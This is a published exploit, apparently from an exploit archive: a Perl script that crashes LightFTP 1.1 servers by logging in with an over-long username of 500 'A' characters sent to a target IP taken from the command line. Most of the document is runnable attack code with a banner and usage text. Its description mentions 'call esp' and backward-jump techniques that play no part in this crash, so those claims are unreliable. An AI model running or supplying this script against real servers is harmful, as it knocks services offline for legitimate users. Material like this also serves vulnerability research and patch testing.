LightFTP 1.1 Denial Of Service Exploit

#!/usr/bin/perl
 
 
use Net::FTP;
 
# Exploit Title: LightFTP 1.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 15 january 2024
# Vendor Homepage:  N/A
# Notification vendor: No reported
# Tested Version: LightFTP 1.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
 
#1. Description
 
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the FTP server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
 
#2. Proof of Concept - PoC
 
    $sis="$^O";
 
    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }
 
    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";
 
    my $payload = "\x41"x500;   
 
    my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@";
 
    $ftp->login($payload,"anonymous") or die "[+] Possibly exploited!";             
 
    $ftp->quit;
 
    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {
 
                              ,--,
                       _ ___/ /\|
                   ,;'( )__, )  ~
                  //  //   '--;
                  '   \     | ^
                       ^    ^
 
      [+] LightFTP 1.1 - Denial of Service (DoS)
 
      [*] Coded by Fernando Mengali
 
      [@] e-mail: [email protected]
 
      }
  }
 
  sub main {
 
our ($ip, $port) = @ARGV;
 
      unless (defined($ip) && defined($port)) {
 
        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);
 
      }
  }
 
#3. Solution/ How to fix:
 
# This version product is deprecated
 
#  0day.today [2024-02-15]  #